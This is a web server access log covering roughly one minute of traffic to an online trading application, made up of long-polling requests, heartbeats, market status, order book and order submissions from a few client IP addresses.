[09/Jan/2026:14:13:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939489584 HTTP/1.1" -
[09/Jan/2026:14:13:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=8DE5C509C6C5D6996FB73E7E12BC54E5 HTTP/1.1" 1018
[09/Jan/2026:14:13:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:14:13:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:13:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:13:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:13:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1849
[09/Jan/2026:14:13:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939500143 HTTP/1.1" -
[09/Jan/2026:14:13:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939510177 HTTP/1.1" -
[09/Jan/2026:14:13:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939495488 HTTP/1.1" -
[09/Jan/2026:14:13:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939494659 HTTP/1.1" -
[09/Jan/2026:14:13:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939505235 HTTP/1.1" -
[09/Jan/2026:14:13:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 2625
[09/Jan/2026:14:13:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:13:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:13:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939515207 HTTP/1.1" -
[09/Jan/2026:14:13:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939500554 HTTP/1.1" -
[09/Jan/2026:14:13:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:13:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939499735 HTTP/1.1" -
[09/Jan/2026:14:13:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939510309 HTTP/1.1" -
[09/Jan/2026:14:13:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:13:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939520240 HTTP/1.1" -
[09/Jan/2026:14:13:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:13:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939505610 HTTP/1.1" -
[09/Jan/2026:14:13:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939504795 HTTP/1.1" -
[09/Jan/2026:14:13:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939515337 HTTP/1.1" -
[09/Jan/2026:14:14:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939525309 HTTP/1.1" -
[09/Jan/2026:14:14:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939510851 HTTP/1.1" -
[09/Jan/2026:14:14:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939509888 HTTP/1.1" -
[09/Jan/2026:14:14:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939520425 HTTP/1.1" -
[09/Jan/2026:14:14:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939530380 HTTP/1.1" -
[09/Jan/2026:14:14:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:14:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:14:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939515959 HTTP/1.1" -
[09/Jan/2026:14:14:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939514952 HTTP/1.1" -
[09/Jan/2026:14:14:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939525496 HTTP/1.1" -
[09/Jan/2026:14:14:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939535408 HTTP/1.1" -
[09/Jan/2026:14:14:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:14:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:14:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:14:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:14:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939521010 HTTP/1.1" -
[09/Jan/2026:14:14:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:14:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:14:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939520018 HTTP/1.1" -
[09/Jan/2026:14:14:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939530587 HTTP/1.1" -
[09/Jan/2026:14:14:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939540473 HTTP/1.1" -
[09/Jan/2026:14:14:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939526132 HTTP/1.1" -
[09/Jan/2026:14:14:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939525103 HTTP/1.1" -
[09/Jan/2026:14:14:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:14:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:14:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939535669 HTTP/1.1" -
[09/Jan/2026:14:14:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939545507 HTTP/1.1" -
[09/Jan/2026:14:14:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:14:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:14:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939531175 HTTP/1.1" -
[09/Jan/2026:14:14:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939530167 HTTP/1.1" -
[09/Jan/2026:14:14:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939540704 HTTP/1.1" -
[09/Jan/2026:14:14:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:14:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:14:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:14:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:14:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939550564 HTTP/1.1" -
[09/Jan/2026:14:14:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939536270 HTTP/1.1" -
[09/Jan/2026:14:14:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939535220 HTTP/1.1" -
[09/Jan/2026:14:14:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939545756 HTTP/1.1" -
[09/Jan/2026:14:14:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939555590 HTTP/1.1" -
[09/Jan/2026:14:14:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939540244 HTTP/1.1" -
[09/Jan/2026:14:14:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939541555 HTTP/1.1" -
[09/Jan/2026:14:14:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939551096 HTTP/1.1" -
[09/Jan/2026:14:14:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939560656 HTTP/1.1" -
[09/Jan/2026:14:14:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:14:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:14:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939546682 HTTP/1.1" -
[09/Jan/2026:14:14:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939545309 HTTP/1.1" -
[09/Jan/2026:14:14:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939556159 HTTP/1.1" -
[09/Jan/2026:14:14:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939565724 HTTP/1.1" -
[09/Jan/2026:14:14:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:14:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:14:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:14:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:14:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:14:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:14:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939550392 HTTP/1.1" -
[09/Jan/2026:14:14:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939551728 HTTP/1.1" -
[09/Jan/2026:14:14:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939561253 HTTP/1.1" -
[09/Jan/2026:14:14:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939570798 HTTP/1.1" -
[09/Jan/2026:14:14:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939555445 HTTP/1.1" -
